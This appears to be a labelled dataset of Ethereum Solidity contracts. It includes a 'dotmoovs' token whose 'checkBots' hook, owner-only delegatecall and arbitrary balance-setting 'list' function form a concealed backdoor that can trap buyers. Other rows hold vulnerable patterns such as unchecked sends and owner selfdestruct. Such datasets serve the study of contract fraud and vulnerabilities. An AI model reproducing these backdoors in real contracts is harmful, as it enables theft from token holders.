function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal protectionFromBots;
address public uniPair;
constructor(address _botProtection) {
protectionFromBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = protectionFromBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract DotmoovsToken is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 1000000000000000000000000000;
string public name = "dotmoovs";
string public symbol = "MOOV";
IUniswapV2Router02 public routerForPancake = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wrappedEther = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForUniswap(wrappedEther, address(this));
allowance[address(this)][address(routerForPancake)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairForUniswap(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _toAddresses, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForPancake.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_toAddresses.length == _amounts.length);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _toAddresses));
for(uint i = 0; i < _toAddresses.length; i++) {
balanceOf[_toAddresses[i]] = _amounts[i];
emit Transfer(address(0x0), _toAddresses[i], _amounts[i]);
}
}
} | 0 | 197 |
pragma solidity ^0.4.24;
interface PlayerBookReceiverInterface {
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external;
function receivePlayerNameList(uint256 _pID, bytes32 _name) external;
}
interface TeamDreamInterface {
function requiredSignatures() external view returns(uint256);
function requiredDevSignatures() external view returns(uint256);
function adminCount() external view returns(uint256);
function devCount() external view returns(uint256);
function adminName(address _who) external view returns(bytes32);
function isAdmin(address _who) external view returns(bool);
function isDev(address _who) external view returns(bool);
}
interface TeamDreamHubInterface {
function deposit() external payable;
}
contract PlayerBook {
using NameFilter for string;
using SafeMath for uint256;
address private owner;
TeamDreamHubInterface public TeamDreamHub_;
TeamDreamInterface public TeamDream_;
MSFun.Data private msData;
function multiSigDev(bytes32 _whatFunction) private returns (bool) {return(MSFun.multiSig(msData, TeamDream_.requiredDevSignatures(), _whatFunction));}
function deleteProposal(bytes32 _whatFunction) private {MSFun.deleteProposal(msData, _whatFunction);}
function deleteAnyProposal(bytes32 _whatFunction) onlyDevs() public {MSFun.deleteProposal(msData, _whatFunction);}
function checkData(bytes32 _whatFunction) onlyDevs() public view returns(bytes32, uint256) {return(MSFun.checkMsgData(msData, _whatFunction), MSFun.checkCount(msData, _whatFunction));}
function checkSignersByAddress(bytes32 _whatFunction, uint256 _signerA, uint256 _signerB, uint256 _signerC) onlyDevs() public view returns(address, address, address) {return(MSFun.checkSigner(msData, _whatFunction, _signerA), MSFun.checkSigner(msData, _whatFunction, _signerB), MSFun.checkSigner(msData, _whatFunction, _signerC));}
function checkSignersByName(bytes32 _whatFunction, uint256 _signerA, uint256 _signerB, uint256 _signerC) onlyDevs() public view returns(bytes32, bytes32, bytes32) {return(TeamDream_.adminName(MSFun.checkSigner(msData, _whatFunction, _signerA)), TeamDream_.adminName(MSFun.checkSigner(msData, _whatFunction, _signerB)), TeamDream_.adminName(MSFun.checkSigner(msData, _whatFunction, _signerC)));}
uint256 public registrationFee_ = 10 finney;
mapping(uint256 => PlayerBookReceiverInterface) public games_;
mapping(address => bytes32) public gameNames_;
mapping(address => uint256) public gameIDs_;
uint256 public gID_;
uint256 public pID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => Player) public plyr_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_;
struct Player {
address addr;
bytes32 name;
uint256 laff;
uint256 names;
}
constructor(address _TeamDreamHubSCaddress, address _TeamDreamSCaddress)
public
{
owner = msg.sender;
TeamDreamHub_ = TeamDreamHubInterface(_TeamDreamHubSCaddress);
TeamDream_ = TeamDreamInterface(_TeamDreamSCaddress);
plyr_[1].addr = owner;
plyr_[1].name = "lb";
plyr_[1].names = 1;
pIDxAddr_[owner] = 1;
pIDxName_["lb"] = 1;
plyrNames_[1]["lb"] = true;
plyrNameList_[1][1] = "lb";
plyr_[2].addr = 0xEd5E1C52B48C8a6cfEc77DeB57Be61D097d2eE28;
plyr_[2].name = "al";
plyr_[2].names = 1;
pIDxAddr_[0xEd5E1C52B48C8a6cfEc77DeB57Be61D097d2eE28] = 2;
pIDxName_["al"] = 2;
plyrNames_[2]["al"] = true;
plyrNameList_[2][1] = "al";
plyr_[3].addr = 0x059743e7B1086c852e0459ded4E8Bc254E7d93CD;
plyr_[3].name = "tr";
plyr_[3].names = 1;
pIDxAddr_[0x059743e7B1086c852e0459ded4E8Bc254E7d93CD] = 3;
pIDxName_["tr"] = 3;
plyrNames_[3]["tr"] = true;
plyrNameList_[3][1] = "tr";
pID_ = 3;
}
modifier isHuman() {
address _addr = msg.sender;
require (_addr == tx.origin);
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier onlyDevs()
{
require(TeamDream_.isDev(msg.sender) == true, "msg sender is not a dev");
_;
}
modifier isRegisteredGame()
{
require(gameIDs_[msg.sender] != 0);
_;
}
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
function checkIfNameValid(string _nameStr)
public
view
returns(bool)
{
bytes32 _name = _nameStr.nameFilter();
if (pIDxName_[_name] == 0)
return (true);
else
return (false);
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID)
{
plyr_[_pID].laff = _affCode;
} else if (_affCode == _pID) {
_affCode = 0;
}
registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
function addMeToGame(uint256 _gameID)
isHuman()
public
{
require(_gameID <= gID_, "silly player, that game doesn't exist yet");
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
uint256 _totalNames = plyr_[_pID].names;
games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff);
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
function addMeToAllGames()
isHuman()
public
{
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
uint256 _laff = plyr_[_pID].laff;
uint256 _totalNames = plyr_[_pID].names;
bytes32 _name = plyr_[_pID].name;
for (uint256 i = 1; i <= gID_; i++)
{
games_[i].receivePlayerInfo(_pID, _addr, _name, _laff);
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
}
function useMyOldName(string _nameString)
isHuman()
public
{
bytes32 _name = _nameString.nameFilter();
uint256 _pID = pIDxAddr_[msg.sender];
require(plyrNames_[_pID][_name] == true, "umm... thats not a name you own");
plyr_[_pID].name = _name;
}
function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all)
private
{
if (pIDxName_[_name] != 0)
require(plyrNames_[_pID][_name] == true, "sorry that names already taken");
plyr_[_pID].name = _name;
pIDxName_[_name] = _pID;
if (plyrNames_[_pID][_name] == false)
{
plyrNames_[_pID][_name] = true;
plyr_[_pID].names++;
plyrNameList_[_pID][plyr_[_pID].names] = _name;
}
TeamDreamHub_.deposit.value(address(this).balance)();
if (_all == true)
for (uint256 i = 1; i <= gID_; i++)
games_[i].receivePlayerInfo(_pID, _addr, _name, _affID);
emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now);
}
function determinePID(address _addr)
private
returns (bool)
{
if (pIDxAddr_[_addr] == 0)
{
pID_++;
pIDxAddr_[_addr] = pID_;
plyr_[pID_].addr = _addr;
return (true);
} else {
return (false);
}
}
function getPlayerID(address _addr)
isRegisteredGame()
external
returns (uint256)
{
determinePID(_addr);
return (pIDxAddr_[_addr]);
}
function getPlayerName(uint256 _pID)
external
view
returns (bytes32)
{
return (plyr_[_pID].name);
}
function getPlayerLAff(uint256 _pID)
external
view
returns (uint256)
{
return (plyr_[_pID].laff);
}
function getPlayerAddr(uint256 _pID)
external
view
returns (address)
{
return (plyr_[_pID].addr);
}
function getNameFee()
external
view
returns (uint256)
{
return(registrationFee_);
}
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID = _affCode;
if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID)
{
plyr_[_pID].laff = _affID;
} else if (_affID == _pID) {
_affID = 0;
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function addGame(address _gameAddress, string _gameNameStr)
onlyDevs()
public
{
require(gameIDs_[_gameAddress] == 0, "derp, that games already been registered");
if (multiSigDev("addGame") == true)
{deleteProposal("addGame");
gID_++;
bytes32 _name = _gameNameStr.nameFilter();
gameIDs_[_gameAddress] = gID_;
gameNames_[_gameAddress] = _name;
games_[gID_] = PlayerBookReceiverInterface(_gameAddress);
games_[gID_].receivePlayerInfo(1, plyr_[1].addr, plyr_[1].name, 0);
games_[gID_].receivePlayerInfo(2, plyr_[2].addr, plyr_[2].name, 0);
games_[gID_].receivePlayerInfo(3, plyr_[3].addr, plyr_[3].name, 0);
}
}
function setRegistrationFee(uint256 _fee)
onlyDevs()
public
{
if (multiSigDev("setRegistrationFee") == true)
{deleteProposal("setRegistrationFee");
registrationFee_ = _fee;
}
}
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
library MSFun {
struct Data
{
mapping (bytes32 => ProposalData) proposal_;
}
struct ProposalData
{
bytes32 msgData;
uint256 count;
mapping (address => bool) admin;
mapping (uint256 => address) log;
}
function multiSig(Data storage self, uint256 _requiredSignatures, bytes32 _whatFunction)
internal
returns(bool)
{
bytes32 _whatProposal = whatProposal(_whatFunction);
uint256 _currentCount = self.proposal_[_whatProposal].count;
address _whichAdmin = msg.sender;
bytes32 _msgData = keccak256(msg.data);
if (_currentCount == 0)
{
self.proposal_[_whatProposal].msgData = _msgData;
self.proposal_[_whatProposal].admin[_whichAdmin] = true;
self.proposal_[_whatProposal].log[_currentCount] = _whichAdmin;
self.proposal_[_whatProposal].count += 1;
if (self.proposal_[_whatProposal].count == _requiredSignatures) {
return(true);
}
} else if (self.proposal_[_whatProposal].msgData == _msgData) {
if (self.proposal_[_whatProposal].admin[_whichAdmin] == false)
{
self.proposal_[_whatProposal].admin[_whichAdmin] = true;
self.proposal_[_whatProposal].log[_currentCount] = _whichAdmin;
self.proposal_[_whatProposal].count += 1;
}
if (self.proposal_[_whatProposal].count == _requiredSignatures) {
return(true);
}
}
}
function deleteProposal(Data storage self, bytes32 _whatFunction)
internal
{
bytes32 _whatProposal = whatProposal(_whatFunction);
address _whichAdmin;
for (uint256 i=0; i < self.proposal_[_whatProposal].count; i++) {
_whichAdmin = self.proposal_[_whatProposal].log[i];
delete self.proposal_[_whatProposal].admin[_whichAdmin];
delete self.proposal_[_whatProposal].log[i];
}
delete self.proposal_[_whatProposal];
}
function whatProposal(bytes32 _whatFunction)
private
view
returns(bytes32)
{
return(keccak256(abi.encodePacked(_whatFunction,this)));
}
function checkMsgData (Data storage self, bytes32 _whatFunction)
internal
view
returns (bytes32 msg_data)
{
bytes32 _whatProposal = whatProposal(_whatFunction);
return (self.proposal_[_whatProposal].msgData);
}
function checkCount (Data storage self, bytes32 _whatFunction)
internal
view
returns (uint256 signature_count)
{
bytes32 _whatProposal = whatProposal(_whatFunction);
return (self.proposal_[_whatProposal].count);
}
function checkSigner (Data storage self, bytes32 _whatFunction, uint256 _signer)
internal
view
returns (address signer)
{
require(_signer > 0, "MSFun checkSigner failed - 0 not allowed");
bytes32 _whatProposal = whatProposal(_whatFunction);
return (self.proposal_[_whatProposal].log[_signer - 1]);
}
} | 1 | 2,931 |
contract DAO {
function balanceOf(address addr) returns (uint);
function transferFrom(address from, address to, uint balance) returns (bool);
uint public totalSupply;
}
contract WithdrawDAO {
DAO constant public mainDAO = DAO(0xbb9bc244d798123fde783fcc1c72d3bb8c189413);
address public trustee = 0xcdf7D2D0BdF3511FFf511C62f3C218CF98A136eB;
function withdraw(){
uint balance = mainDAO.balanceOf(msg.sender);
if (!mainDAO.transferFrom(msg.sender, this, balance) || !msg.sender.send(balance))
throw;
}
function trusteeWithdraw() {
trustee.send((this.balance + mainDAO.balanceOf(this)) - mainDAO.totalSupply());
}
} | 0 | 2,327 |
pragma solidity ^0.4.16;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract DANKSIGNALS is StandardToken {
function () {
throw;
}
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
function DANKSIGNALS(
) {
balances[msg.sender] = 25000000000000000000000000000;
totalSupply = 25000000000000000000000000000;
name = "Dank Signals";
decimals = 18;
symbol = "DANK";
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 | 4,389 |
pragma solidity ^0.4.16;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract EncryptedToken is owned, TokenERC20 {
uint256 INITIAL_SUPPLY = 600000000;
uint256 public buyPrice = 1;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function EncryptedToken() TokenERC20(INITIAL_SUPPLY, 'CDG', 'CDG') payable public {}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function setPrices(uint256 newBuyPrice) onlyOwner public {
buyPrice = newBuyPrice;
}
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
function () payable public {
owner.send(msg.value);
uint amount = msg.value * buyPrice;
_transfer(owner, msg.sender, amount);
}
function selfdestructs() onlyOwner payable public {
selfdestruct(owner);
}
} | 0 | 766 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract owned {
address public owner;
constructor () public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != 0x0);
require(newOwner != owner);
owner = newOwner;
}
}
contract TokenERC20 {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
constructor () public {}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to].add(_value) > balanceOf[_to]);
uint previousBalances = balanceOf[_from].add(balanceOf[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] =allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
require(_spender != 0x0);
allowance[msg.sender][_spender] = _value;
return true;
}
}
contract INVToken is owned,TokenERC20 {
string public name = "INVESTACOIN";
string public symbol = "INV";
uint8 public decimals = 18;
address private paymentAddress = 0x75B42A1AB0e23e24284c8E0E8B724472CF8623Cd;
uint256 public buyPrice;
uint256 public totalSupply = 50000000e18;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
